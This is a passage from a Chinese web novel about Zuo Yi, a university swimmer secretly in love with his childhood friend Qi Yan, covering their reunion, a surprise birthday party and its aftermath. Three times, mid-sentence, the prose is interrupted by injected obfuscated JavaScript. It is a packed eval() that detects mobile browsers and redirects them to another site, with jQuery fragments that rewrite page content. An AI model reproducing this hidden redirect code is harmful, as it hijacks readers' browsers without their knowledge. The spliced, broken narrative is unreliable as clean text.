他暗地里叹了口气:“好巧啊。”以前常听院里的老人说命运是个玄学,有些事往往怕什么就会来什么,不信都不行。 现在想想,果然一语成谶,真是越怕什么越来什么。 “你们认识?”李子豪和关关异口同声发出质疑。 左屹不自然地点头,算是默认了,他实在不想待在这种说不清道不明的场合里。 “既然你们来了,我想先回宿舍休息了。” “我送你。” 左屹疑惑:“送我?” 话音刚落地,他就确定自己没理解错,因为说话的人已经先行一步走到他前面去了。 他赶紧追了上去,“不用送,我自己回宿舍就行。” 祁言说:“我突然有些饿了,正好想去你们食堂看看。” 左屹拿出手机看了眼时间,不知不觉已经十二点半了,要不是祁言说饿,他浑然忘了自己也没吃午饭,还打算直接回宿舍补个觉。 祁言又朝四周环了一圈问:“食堂往哪边走?” 京西体院的面积不比京西大学小多少,等祁言从这一路问到大食堂,那早就没吃的了。 “还是我带你过去吧。”正好他也有些饿了。 祁言克制住往上扬的唇角,礼貌的说:“那好,一起吃?” 左屹点了点头,抬脚先走了。 两位将近一米九的高个子帅哥并肩走在校园中,实在赏心悦目,惹得路人频频侧目,甚至还有些女同学拿出手机偷偷拍照。 而左屹完全没发现这回事,因为他满脑子正在思考着,祁言说要去吃饭会不会是想和他多待会? 不出一会,他就认清这个想法有多自恋。 祁言有什么理由这么做?他应该是很不想看见自己才对,毕竟当初不辞而别的是他,说不定他并不希望自己追来京西。 两人走到食堂时已经过了吃饭的高峰,档口都不需要排队点餐,很快就拿到了自己的午餐。 他们找了个安静的角落位置坐下,各自吃着碗里的牛肉粉。 左屹的面碗快见底,祁言碗里的粉好像越吃越多,仍是满满一碗。 “不好吃吗?”左屹问。 祁言放下筷子,摇摇头:“味道还不错,我吃的不多,已经饱了。” 左屹也跟着放下筷子偷偷打量。 以前祁言的饭量虽是不大,但不至于像现在这样小鸟胃,以前他总是抢祁言的食物,那时候的祁言吃饭虽然斯文,但也是和他抢得津津有味。 吃过午饭,祁言坚持送左屹回宿舍,他们一起从食堂走到操场,穿过一片小树林后面就是他的宿舍楼。 左屹一路思索,他不想因为自己的出现而打乱祁言现在的生活计划,于是在两人都相对沉默的时候,左屹故意说:“我来京西体院只是因为文化成绩达标了,没有其他原因。”他边走边踢着路边的小石子,仿佛是在说一个很随意的话题:“没想着来打扰你。” 祁言微微一愣,停下脚步看向他说,“嗯,我知道。” 左屹跟着停下步子,惊讶道:“你知道?” 他知道什么?是知道自己在撒谎还是说没想打扰他? 左屹出神的瞬间,祁言的身子突然凑到左屹的面前,从眼睛到嘴巴每一处都被他仔细打量了一遍,然后祁言又凑到左屹耳边轻声说:“小混世魔王长大了啊。” 左屹屏住呼吸紧盯着面前的人,近看这张脸比梦里的那张也成熟精致多了。他被祁言那张引人犯罪的脸蛊惑住,脑子一片空白。 “怎么呆住了?”祁言的手在左屹眼前晃了晃。 左屹憨笑一声,回神解释:“吃饱了,晕碳,晕碳。” “……” 过后,祁言将左屹送到宿舍楼下,刚想转身离开被左屹叫住。 祁言回过头看向左屹问:“有事吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165006|165086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃饭时,左屹便囤了一肚子话想问,他知道现在不是一个好的契机所以一直忍着,但祁言今天的反应看来好像只是见到一个久未见面的老朋友,保持礼仪但无需花费太多精力叙旧。 他不信自己在祁言心里一点也不重要,尽管冲动了,他也要探探祁言的底。 “你对我没有什么话想说或想问的?” 祁言笑了,笑得很温柔。 他转身走回到左屹的身前,伸出修长白净的手,揉了揉左屹的头发,轻声回答:“看到你来,我很开心,”他停顿了一会,又说:“虽然不是为我来,但我还是很惊喜。” 左屹双手环着手臂,故作不在意:“别弄乱我发型,本来就不是为了你。” 却又在无人窥探的心底放肆地想,不是为你还能为谁? 他好不容易平静下来的心这下又乱了,就像被一只毛茸茸的猫爪在将灭不灭的心尖上挠了挠,心脏再次死灰复燃。 一年的努力,换来祁言一句他很开心,这就值了。 左屹告别祁言后回到宿舍,看午休时间没剩多少,便冲了个凉就去集合了。 下午,李子豪顺利拿到校医姐姐开的请假条,往后为期两周的军训都不需要参加。 一天的军训结束,大家都累得不行,左屹也不例外,他回到宿舍洗漱完便瘫倒在床上,没有力气动弹。 李子豪好不容易盼到他回来,想延续中午的八卦,于是一屁股坐到左屹的床边,吓了他一个激灵。 “我靠!你干什么?”左屹骂道。 李子豪一副审问的架势说:“跟我说说,那个叫祁言的什么来头?” 宿舍的其他人嗅到了瓜的味道,脑子想听但身体不受疲惫的控制,便只能作罢。 “你想知道什么?”左屹往里挪挪位置,他知道一个人吃瓜的劲儿上来了,是不达目的誓不罢休的,他索性就选择性透露点无关痛痒的事给李子豪快点打发了,还他一份清净。 “先说说你们是怎么认识的?”李子豪问。 左屹思考了一番,回答说:“我们都是江城人,从小一起长大的……” 李子豪恍然大悟,“哦,竹马啊。” “嗯。”左屹点头。 “不对啊,那为什么我今天看你俩不是很熟的样子,吵架了?”李子豪问。 左屹坐了起来,这个问题是他的禁区,不容许别人窥探,随口敷衍道:“没,就是没想到他和关关姐是一个系的,有点惊讶。” 李子豪听他这么说,才想起来自己要打听的正事,“你说到这,我其实是想问问你知不知道祁言和关关是什么关系?” “这话什么意思,他们不是同学吗?” 左屹不明白他的意思,关关姐不是说他们是一个系的同学吗?还能有什么关系? 李子豪不好意思挠了挠头解释道:“是这样,关关她除了我从来没有和别的男生走得这么近过,今天那个叫祁言的和关关一起来我们学校,我就觉得挺奇怪的,所以我在想他们是不是在谈恋爱……” 听他这么说,左屹才后知后觉将这些联系到一起,祁言从小除了丁文笑几乎不跟女生说话,什么情况下他会陪着关关姐来见一个陌生人? 那一定是很亲近的关系,祁言才愿意。 这一刻,他也恍然大悟,原来祁言喜欢的人是关关姐。 想到这里左屹的心猛地一沉,自己一直怀揣的那份感情突然变成了我心向君,君心向水。 5. 君心向水 左屹绕过李子豪,急切地下了床,脚步踉跄。 “你要去哪里?”李子豪见左屹往宿舍门走去,大声问道。 左屹充耳不闻,他没有办法再继续待在宿舍这个狭小拥挤的空间里,他感到有一双无形的手在狠狠扼住他的咽喉,导致无法呼吸。 周围有各种声音在耳边回绕,左屹只觉得很吵,他回头看见李子豪跟了上来立即喝止:“别跟过来。” 李子豪被这一声喝止吓住,果然停住了脚步。左屹晃晃荡荡拉开了宿舍门走了出去,又“砰”地一声将门关上。 左屹靠着门大口大口的呼吸着,氧气还是不够。 他冲下楼,一心想找到一个没有人的地方待着,可偌大的校园,哪哪都是人。 左屹揪着生疼的心脏,极力忍耐着即将破口而出的大喊。 他痛恨自己的后知后觉的,如果不是李子豪提醒,他不知道还要在自己编织的梦里沉迷多久。 也正因这样,他又后知后觉发现自己对祁言的感情远超过他的想象。 如果只是普通的喜欢,又怎会让他痛不欲生?他现在就像溺了水的人,眼睁睁看着肺里残存的氧气一点点被抽离,却无力阻止,这种绝望叫他难以承受。 那么优秀的人,他左屹有什么资格拽着不让他走呢? 左屹眼前已经是一片模糊,他很是唾弃自己现在这个样子,一个大老爷们受不住挫折的样子实在上不了台面。 可是他好像没有办法做到不在意,他的脑子里有两个小人在吵架,一个小人在劝他放弃吧,选择祝福或许会更轻松;另一个却怂恿他去争取,一定要弄个明白。 他在这两种声音中挣扎,不知道该听谁的。 左屹漫无目的地走到学校的操场,随意找了个台阶坐下。 脑子仿佛要炸开,这件事左屹早在心里打过预防针,他以为他能够做到坦然接受、微笑祝福,可真到了这一天,才发现根本做不到,他没有这么善良去祝福自己的暗恋对象和别人幸福,喜欢一个人,哪有这么容易放下? 不知道坐了多久,操场夜跑的人只剩三三两两,但他还是不想回到宿舍,他现在很想念月亮湾小院,很想院里的秋千。 那是他经常和祁言坐着看星星月亮的地方,他抬头望向夜空,京西的星星月亮和院子里的不一样,他不喜欢。 突然,眼前有人递了一个袋子过来。 “你的小腿需要包扎一下。”他的声音微喘,听起来像刚刚跑完步。 左屹皱着眉头看见来人是郭敬敬,眼神很不友好,他现在的模样不希望被任何人看到。 郭敬敬却不以为意,在左屹的身边坐下,打开塑料袋拿出碘伏棉签、纱布和绷带。 “你出门的时候我看到你腿上的伤口发炎了,不处理可能会化脓,到时候会影响你训练。”郭敬敬将碘伏棉签递过去,“你自己不处理的话,我来。” 左屹往自己腿上的烫伤看去,原来水泡被迷彩裤磨破,伤口已经红肿溃烂。 “我自己来。”他接过棉签认真给伤口消毒,包好纱布防止恶化。 “谢谢。”左屹由衷说道,这伤口他本以为过个几天会自然结痂,没打算管它,没想到会越来越严重。 郭敬敬说:“别这么客气。”他看到了左屹布满红血丝的双眼,眼皮也有些浮肿,“还需要一个人静静吗?快到门禁时间了。” 左屹不想总给别人添麻烦,他出门太急,也没拿手机,现在不回去晚上没地方待,“不用了,一起回去吧。” 郭敬敬和左屹相视一笑,一同起身回了宿舍。 半夜,左屹睡得极不踏实,他梦到六岁那年和祁言初次见面的场景。 那是祁言刚搬进小院的第三天,搬家时只有他和妈妈,院里几个调皮的小男孩总是在院里乱喊说新来的小朋友没有爸爸,左屹也听到了。 一天下午,八岁的小祁言和那群孩子争论不休,他拼命解释爸爸工作忙,休假的时候就会回来。其中一个小男孩却反驳:“从你来到这里我就没见过你爸爸回家,你撒谎,你是个骗人精!” 小祁言大声喊着自己爸爸的名字叫祁峰,可是那群小孩根本不信,还给小祁言起了个外号“骗人精。” 那时左屹和丁文笑就在不远处,他听见了哭声,循声找去看到孤立无援的祁言在哭,好像很无助的样子。 左屹身为月亮湾的混世魔王,比他大上几岁的孩子也不敢惹他,他从不欺负小孩,自然也看不惯欺负小孩的人。于是,年仅六岁的他决定去解救比他大两岁的祁言。 左屹嘴里含着根棒棒糖,气势汹汹地带着丁文笑走到花园中心,“小胖,你又在欺负人!”他拿出棒棒糖指着小胖,“你信不信我现在就去你家告诉吴婶儿,让她抽你一顿。” 小胖害怕了,赶紧讨好:“屹哥,我错了,你别告诉我妈。” 丁文笑噗嗤笑出声,她性格从小豪放,丝毫不输左屹,她左手插着腰,右手指着还在抽泣的祁言向大家说:“以后他是跟着我和小屹的,谁你们再敢欺负他那我就把你们在幼儿园干过的坏事全部说出去,等着瞧吧。” 等那群小孩离开后,小左屹小心翼翼拍了拍小祁言的后背安抚,“别怕,我是月亮湾的老大,以后跟着我没人再敢欺负你了。” 从那时起,月亮湾铁三角正式成立,往后的日子他们形影不离,直到祁言高考结束那年。 左屹一梦惊醒,天已经大亮。往后的日子按部就班地进行着,在这期间左屹因为军训整个人疲惫到不行,没有精力去胡思乱想,和舍友的相处越来越自然融洽。 一晃半个月过去,终于熬过军训期,李子豪组织大家出去吃饭庆祝一下,丁文笑恰好打来电话,左屹心里隐隐知道她这通电话的目的,但该来的怎么也躲不掉,他深吸一口气接通电话:“笑姐,有何贵干啊?” “告诉你一个好消息,我联系上言哥了!”丁文笑兴奋的声音穿透手机。 左屹听到祁言的名字,心里还是会咯噔一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165007|165086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下,“哦,然后呢?” 丁文笑沉浸在失而复得的喜悦里,丝毫没察觉左屹语气的不对,“我和他约了后天晚上吃饭,但是没提跟他过生日的事,我想给他一个惊喜。” “好,知道了。” 丁文笑乐道:"那说好了,后天晚上七点,饭店定位我一会找好发给你。" 电话一挂断,宿舍几个人一起起哄,“女生的声音哦~是谁啊?” 左屹白他们一眼:“我发小。” 他们还以为是左屹军训期间背着他们偷偷脱单了。 “晚上去哪吃,你们想好了吗?”左屹问。 “要不去上次敬敬带我们去的那家小馆子,环境是简陋了点,可是东西很好吃啊!”李子豪回答。 “同意!”大家齐声说。 左屹特地单独叫上冯桑:“一起去?” 冯桑摇了摇头:“你们去吧,我还有点事。” 都入学这么久了,冯桑还是很难融入宿舍这个集体,他行踪神秘一到晚上几乎看不到人。 左屹记得那家餐馆的附近有家蛋糕店,一行人浩浩荡荡去吃饭,饭吃到一半少了一个人,左屹不见了。 一顿饭吃完了他才回来,大家问他干什么去了,愣是没问出个结果来。 第二天,左屹训练完他看着镜子里的自己,怎么看怎么觉得自己别扭,特意找家理发店去剪了个清爽利落的发型。 想到马上要和他们见面,他仍做不到坦然祝福,这几天他不断给自己洗脑,发小是他们之间最牢固的关系,道理谁都懂,无法,他左屹的感情就是自私的,放不下。 生日当晚,他和丁文笑提早一步到了餐厅点菜,她特意选了家挺有名的烤鸭店。 今天左屹才知道,这段日子她一直都和祁言保持着联系,就在刚刚祁言还发消息给她说一会要带个朋友来吃饭。 左屹心里做好了关关姐会来的预期,便也没有太大的反应,相反是丁文笑看完这条消息,重重拍了左屹一掌。 这一掌拍在他的后背上,挺痛的,他皱着眉头不爽道:“犯病了?” “我靠,你这张嘴是开过光的吧?言哥一会不会真要带对象一起来吧!”丁文笑激动道。 左屹对这个话题排斥得很,语气敷衍:“我怎么知道。 丁文笑不满左屹的吃瓜态度,白他一眼,“我倒要看看是什么样的人能把言哥给收了。” 呵呵。 是关关姐那样家境好、学习好、又漂亮的女生。 左屹在心里回答了丁文笑这个问题。 将近七点的时候,祁言果然是带着关关姐一起来的。 “祁言哥,我们在这里!”丁文笑举着手和祁言打招呼。 左屹抬头看去,恰好和祁言对上视线,他不着痕迹地拿起水杯喝了一口,试图避开眼神,却发现杯子是空的,没有茶水。 这本没什么的,不被人发现倒也还好,没那么尴尬,可他这个举动偏偏被丁文笑看见了。 6. 生日惊喜 左屹一脸尴尬地放下水杯想解释。 丁文笑一本正经的说:“不用解释,我理解并尊重,有时候我也喜欢喝点空气,可以净化脑子。” 左屹准备反驳,头顶传来祁言的声音。 “谁要净化脑子?” “左……”丁文笑才说了一个字,左屹整个人扑到丁文笑身上将她嘴巴牢牢捂住,导致后面的声音全部变成了,“呜呜呜……” 关关姐一脸玩味地看着左屹和丁文笑的互动。 左屹朝她扬扬头说:“快坐下吧,菜已经点好了。” 丁文笑脸涨得通红,用手拍了拍左屹脑袋,示意他松手。 左屹狠狠剜了她一眼,暗示她别乱说话,可他们的举动在关关眼里变得意味深长。 关关凑到祁言耳边悄悄问:“他们看上去挺亲密的,是情侣?” 祁言眉头轻轻皱了皱,摇头低声说:“我们三个是发小。” “发小又怎么了?”关关又看了眼前打闹的两个人,“青梅竹马多配啊。” 祁言没有再回应。 左屹余光看到他们一坐下来就开始窃窃私语感情很好的样子,胸口不受控制地发闷。 等菜期间,丁文笑乐不思蜀地担任破冰主持人,她对关关介绍道:“学姐你好,我叫丁文笑,就读京西电影学院表演系。”她又扯着一旁的左屹说:“他叫左屹,在京西体院,体育生。” 关关也一本正经地自我介绍:“我叫关邹怡,京西大天文系,你们可以叫我关关。”之后,单独摇手和左屹打了招呼:“哈喽,小屹。” 左屹朝她微微一笑,“关姐姐,好巧啊。”他说这话时,眼神不自觉划过祁言才定格到关关身上。 丁文笑摸不清局面,眼神充满求知欲看向左屹。 “关关姐是我舍友的朋友,军训的时候遇到过。”左屹解释。 “哦~所以你和言哥早就见过了?”丁文笑很会抓重点。 祁言从刚才开始一直没说话,他没等左屹开口,先回答了丁文笑的问题:“半个月前见了一面,吃了顿午饭。” 开始上菜了,丁文笑假装生气,调侃道:“哦~你们俩暗度陈仓,藏挺深啊。” 左屹刚吃一口菜,瞬间噎住咳了起来,丁文笑是会总结的。 祁言帮他倒了杯水,递了过去:“慢点吃,又没人跟你抢。” “你这话跟哄小孩儿一样,人家小屹都大学生了。”关关姐笑着说。 一唱一和的,把谁当小孩儿哄呢?左屹懒得搭理,没有去接祁言递过来的水。 一顿饭下来,左屹不想说话,埋头吃饭,祁言的话本身就少,就只有丁文笑对关关喋喋不休地说着他们三个人小时候的事,说到兴起还会手舞足蹈,期间祁言有一搭没一搭地往左屹碗里添菜,还连包了好几个不加葱的烤鸭放到他碗里。 左屹一口没吃祁言夹过来的菜,烤鸭全都被他原封不动夹到了丁文笑的碗里。 没人发现,祁言的脸越来越黑。 “对了,我在附近的KTV定了间包房,一会吃完都有时间吧?”丁文笑用手肘怼了怼左屹的手臂,提醒他帮腔。 左屹说:“现在时间还早,唱两个小时再回去也赶得上门禁。” 关关也无异议。 祁言看了眼手机,犹豫一会才点头。 这时左屹的手机响了,他刚接起电话李子豪撒娇的大嗓门就传了过来:“小屹屹~你在哪里啊啊啊~我好想你啊啊啊~” 他夹着嗓子夸张的语气令人忍不住想揍他一顿,左屹嫌弃地拿开手机,对关关姐说:“是李子豪。” “你和谁说话呢?小屹屹~”李子豪问。 左屹也故意学着李子豪夹着嗓子撒娇说:“我跟发小吃饭饭呢~关关姐也在哦~” “我靠,祁言那小子是不是也在?”关键时候,李子豪也挺会听重点的。 左屹一改逗弄的语气,不耐地问,“怎么了?说事儿。” 李子豪收起贫嘴问道:“你什么时候回来?” “一会还要去唱歌,回来挺晚了。”他回道。 李子豪不爽了,“唱什么歌啊!我很无聊,你现在就回来陪我,立刻,马上!” 左屹为难地看了大家一眼,压低声音说:“我现在回不来呀哥!” “叫你舍友一起来唱歌。”祁言面无表情地说。 不知道为什么,左屹总觉得祁言说这句话的时候好像不太开心。 丁文笑兴奋了,“是啊是啊,人多也热闹,要不我把我舍友也叫来一起?” “嗯。”祁言回应。 关关见左屹头疼的样子,一把拿过他的手机:“你乱吠什么?一会定位发你,叫上你们宿舍其他人一起过来。” 去KTV路上,丁文笑叫上了她的两位舍友,大家路程相当,差不多同一时间到达。 丁文笑一脸神秘地拉过左屹,撺掇着要左屹蒙上祁言的眼睛,左屹觉得这个行为很幼稚不是很情愿,但依旧乖乖照做。 快到包房门口,左屹悄悄绕到祁言身后,从背后伸过双臂擦着祁言的耳朵为他蒙上双眼。 祁言被身后人突如其来的动作吓到一怔。 KTV很吵,左屹凑到祁言耳朵边安抚说:“别慌,我带着你走。” 丁文笑推开包厢门,“啪嗒”一把按开包间所有的灯,昏暗的房间一下子变得灯火通明。 随她一声大喊:“Surprise~生日快乐,言哥。”左屹松开了他蒙在祁言眼睛上的手。 映入大家眼前的是一排硕大的"HAPPY BIRTHDAY"的字母气球,周围挂满了他们三个人的照片。 铁三角一起过生日的照片都按照年龄一一整齐地挂在包厢的墙上。 除了生日照片,还有他们儿时玩闹的瞬间、左屹八岁挂着鼻涕大哭被偷拍的、祁言拿着饭碗追在左屹身后喂饭的、丁文笑扯着左屹头发互殴的、还有三个人坐在小院石凳上一起舔雪糕的,温馨又滑稽。 太多太多专属他们回忆的照片,一看就知道准备这一切的人花了多大的心思。 在场的所有人都被震撼到,他们不知道今天是祁言的生日,包括关关。 大家纷纷说着生日祝词,炒热气氛。 祁言眼睛酸涩,左屹也愣怔在原地,丁文笑心头一热,冲过去狠狠抱住两个人,大声喊:“惊不惊喜,意不意外,喜不喜欢?” “惊喜,意外,很喜欢。”祁言笑着回答。 丁文笑拉着祁言走到沙发前,“那请寿星入座吧~” 祁言被蜂拥坐到中间位置,丁文笑拿起麦克风去点歌。 左屹还沉浸在刚刚的震撼里没有回神, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165008|165086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李子豪一把揽过他的肩膀满眼羡慕:“你们三个人感情真好。” “是挺好的。”左屹耸耸肩,但这不是他想要的关系,他还想更好。 没多久几波人就玩作一团,左屹被李子豪拉着摇骰子。 他和祁言中间隔着三个人,看不清祁言在做什么。 郭敬敬端着酒杯过来将李子豪挤走,自己坐到左屹身边,“我们喝一个?” 左屹酒量不好,游戏一直输连着喝了好几杯,可郭敬敬这杯酒必须喝,他给酒杯斟满酒,抬手和郭敬敬的碰杯。 祁言越过旁边的两个人,伸手准备接过左屹手中的酒杯,左屹顺着他的手看去,却看见关关姐将祁言拉住在他耳边说了什么,祁言伸出的手顿住了,左屹眼神瞬间冻成冰川,推走祁言挡在他面前的手直接将杯中酒饮尽。 李子豪强行坐到祁言和关关的中间,左屹身边刚好空出来一个位置,他一杯一杯喝着酒,没发现那个位置已经被祁言坐下了。 “别喝了。”祁言拉着左屹的手臂,想拦住他继续倒酒。 左屹躲了过去,凑到祁言面前说:“寿星的酒不得多喝几杯,沾沾喜气啊。”说完,举起杯子一口喝尽。 祁言无奈地走出了包厢,他来到吸烟区,从衣服口袋里掏出烟盒抽出一根香烟点燃,背靠着墙吞云吐雾起来。 刚抽两口,看见丁文笑也过来了,她拿出一根细长的女士香烟说:“言哥,借个火机?” 祁言皱着眉将火机递过去,“什么时候学会抽烟了。” 丁文笑点燃香烟,深吸一口,吐出烟雾:“压力大的时候只能靠这东西缓解,你以前也不抽。” 祁言修长的手指夹着香烟,掸了掸烟灰。 “女孩子还是少抽点。” 丁文笑啧啧两声,“两年前我们一起坐在院子里手里拿的还是冰棍,现在已经变成烟了,变化真大啊。” 祁言又吸了两口,烟雾飘渺,“笑笑,你是不是和小屹……” 丁文笑将烟撵熄,笑着撞了祁言一下,“你想什么呢?我跟那个臭小子从小就是哥们,他太皮了。” “嗯,是很皮,笑笑……”祁言捻灭烟屁股。 “怎么了哥。”丁文笑回答。 “一会把小屹的联系方式发给我。” 包厢内,大家闹作一团,左屹看着祁言和丁文笑一前一后出去的,李子豪缠着关关玩一款很幼稚的通关游戏,郭敬敬偶尔在自己耳边说上一两句闲话,自己没太注意听。他忽然觉得周遭太吵,烦得又灌了两杯,正喝到第三杯的时候,手里的酒杯猛地被人抽走。 刚想骂句他妈是谁,一抬眼是祁言。 左屹勾起唇角,他在昏暗吵闹的包厢内借着酒意抓住祁言的手腕,祁言手里握着他的酒杯,左屹仰着头如蛇般紧紧盯着自己看上的猎物。 这是他日思夜想的人,是他来此的动力源。 整个高三,左屹参加大大小小市级省级的游泳比赛,训练之余他还要跟着家教拼命学习文化课,死记硬背那些他完全不感兴趣的知识,拼了无数个日日夜夜,终于见到曙光。 他以为自己看到了彼岸,可是等游到了岸边才发现那个人一直在往前走,从来不曾停下等过他,本想着就快追上了,却是离得越来越远。 看似是一场追逐,其实只有他困在原地罢了。 7. 蓝色盒子 此刻,左屹想依着自己放肆一回。 他握住祁言的手腕,将杯里的酒送到自己的嘴边,左屹又闻到了那股淡淡的烟草味,这味道像是混合在空气中的罂粟,令他上瘾着迷 ,辛辣的酒水混着口腔唾液一同滑进喉道,味道苦涩。 他的视线牢牢锁着祁言的脸,恨不得连他一起吞进肚子里。 喂酒的动作太快,酒水从嘴角溢出了些一路顺着下颌线流到喉结,左屹被酒水浇个清醒便松了手,他胡乱抹了一把脖子将流下的酒水擦干,整套动作魅惑不羁。 祁言顿了顿,才放下手中的空酒杯,坐到他旁边。 丁文笑回包厢后也喝了杯酒,她走过来一脚踢上左屹踏着茶几上挡路的腿,挤到他和祁言两人中间坐下,丁文笑举起话筒说:“今天是言哥的生日,在座各位大多都是我和左屹的朋友,我必须隆重为大家介绍一下今晚的主角‘祁言’。言哥是我和左屹的发小,我们在江城的一个小院里一起长大,我们知道言哥志在京西,我和左屹没他聪明,却也拼命过来了,今天我们铁三角终于团聚了。言哥,我们真的很想很想你,祝你生日快乐!” 一席话说完,丁文笑被自己感动得热泪盈眶,祁言拿起左屹刚刚喝过的酒杯,给自己倒了满杯啤酒一饮而尽,真诚地说了声:“谢谢。” “言哥生日快乐!”周围的人皆将酒杯斟满,纷纷举起再喝完。 似乎还有人在喊,“屹哥的兄弟就是我们的兄弟!” 左屹酒劲上来窝在沙发角落,眼神逐渐失焦,他掏出裤子口袋里的手机看了眼时间,差不多了。 祁言也靠坐过去,用仅有两个人能听到的声音说:“你的呢?” 五颜六色的灯光不时打在祁言的眉眼上,为他赋上一层迷离的光晕,好看得左屹心脏“突突突”狂跳不止。 “嗯?我的什么啊?”左屹挑眉,灼热迷离的桃花眼努力往前凑,想看清楚祁言的表情。 左屹分不清现在的祁言是真实还是虚幻的,他伸出食指轻轻点在祁言眉目间,顺着秀挺的鼻梁一路缓缓滑到红润饱满的唇边,指间的温度逐渐升高,左屹又问一遍:“你刚刚说要我的什么?” 祁言捉住左屹胡乱游走的食指移到一边,伏下身在他的耳边说:“要你的惊喜。” “快到了,再等等呗。”左屹耳朵一阵酥痒,缩了缩脖子又靠回角落,他现在晕得很。 谁料,关关走出包厢接了一通电话,进来后慌张地来到祁言身边与他说了几句话,祁言低头找出手机一看,好像没电了。 左屹侧头看到祁言的眉心揪成一团,关关已经去一边拿好包包随时等着离开的架势,大家都发现了他们这边的不对劲,祁言顾不得其他,揉了揉左屹的头发对他和丁文笑抱歉道:“不好意思,突然有点急事得先走一步,今天谢谢大家,改天再聚。”说完两个人急匆匆离开了KTV包厢。 “怎么回事啊?”不知谁刚问完这句,包厢门再次被推开,是服务员推着燃着烟花蜡烛的生日蛋糕进来。 左屹的酒意散了一大半,他眯着眼睛看着蛋糕,寿星已经走了,生日快乐歌该唱给谁听? 大家面面相觑,火热的气氛瞬间如同掉进冰窟。 李子豪换到左屹旁边坐下,很是不耐烦地挖苦道,“刚刚是关关爸爸打来的电话,祁言和她一起走能有什么急事?” “祁言哥和关关姐已经见过家长了吗?好羡慕。”郭敬敬看着左屹说。 左屹心脏被猛砸一拳,这话无疑是一把火彻底燎了原。 他烦躁地拿起茶几上不知道是谁丢的烟盒,抽出一根雪白的香烟点燃,猛吸一口,呛得直咳嗽。 左屹不会抽烟,但这会胸口噎得要命,像被一块沉重的东西死死压住,扬不上来也落不下去。 主角走了蛋糕也没人好意思动,散场时左屹将它带走。 回到学校后,他独自来到宿舍楼的天台,这盒蛋糕是他特意找店家设计的翻糖蛋糕,蛋糕通体是一个城堡模样的建筑,城堡花园里有三个小人并肩站在一起,他们都穿着帅气的红色斗篷,手里握着金光闪闪的宝剑护卫自己的家园。 左屹拿出21根颜色不同的细蜡烛,插满城堡蛋糕,一根一根点燃。 他唱完整首生日快乐歌,又闭上眼睛代替祁言许了愿,然后将蜡烛吹灭,“生日快乐啊,言哥。” 最后,他切开蛋糕,拿出他事先藏在蛋糕坯里的蓝色盒子,这是本该在祁言高考那年就送出去的生日礼物。 可惜,今年仍是没有送出去。 左屹将蓝色盒子紧紧攥在手心,蛋糕成了一片狼藉,三个小人被压在倒塌的城堡废墟下面。 往后几天左屹没再去想祁言的事,已然决定将这份感情压制,于是将全部精力放在训练上,游泳运动员对新的泳池、水温或是水质、水深都需要一个适应过程,任何一个变化都有可能影响到运动员的水感和心态。 体育生来到京西体院并不是终点,而是出成绩的开始,学校里的冠军之路印着往届各类项目世界级比赛的冠军脚印,这条路提醒着学子要时刻保持对体育的热爱和激情,不得松懈。 国庆假期之后就是校泳队的新生考核,左屹对进校队势在必得。 周四下午,左屹训练结束,手机收到郭敬敬约他吃饭的消息,是一家概念韩餐餐厅,餐厅整体呈暗色调,他到达餐厅时郭敬敬坐在餐桌前了。 “训练晚了点,等很久了?”左屹拉开餐椅坐下。 郭敬敬将菜单推到左屹面前,“我也刚来一会,看看想吃什么,这家辛牛骨火锅是招牌。” 左屹现在饿得能吃下一头牛,看菜单的时候,浑然没发现不远处有个目光正看着自己。 “就这个锅吧,再来点主食够了。”左屹合上菜单说。 郭敬敬举起手打了响指:“麻烦点单。” “你好两位,请问需要什么?”祁言的声音传来。 左屹猛一抬头,看眼祁言又打量一番郭敬敬,“你怎么在这?” 他注意到祁言身上穿着这家餐厅的工作服,黑衬衣流畅地勾勒出他身材优势,瘦而不柴,衬衣袖口半挽着露出紧实的小臂肌肉,很性感。 “打工。”祁言回答,又拿起点餐本提醒:“客人,您可以点单了。” 左屹盯着祁言的小臂一时忘了挪开眼,郭敬敬轻咳提醒,拿起桌上的菜单翻阅着,“麻烦来一份辛牛骨火锅,再加份辣炒鸡爪,一份墨鱼饭团,谢谢言哥。” 祁言专业地复述一遍菜品,收走桌上的菜单礼貌示意:“两位稍等,餐点一会就来。” 祁言走后,郭敬敬一直跟左屹说话聊天,但他的思绪被祁言一起带走。 从小他就知道祁言家境不错,父亲公务员单位稳定,母亲是位女强人。 他记得初二那年祁言母亲炒股赚了不少钱,还捐赠了几十万给他们的社区福利院修缮环境,肯定不至于沦落到打工赚取生活费的地步。 难不成是谈恋爱花销大,不好意思找家里要钱才不得不抽出空余的时间赚点约会经费? 啧啧,谈恋爱果然能改变一个人呐! 连讨厌铜臭味的学神都不得不出来打工了。 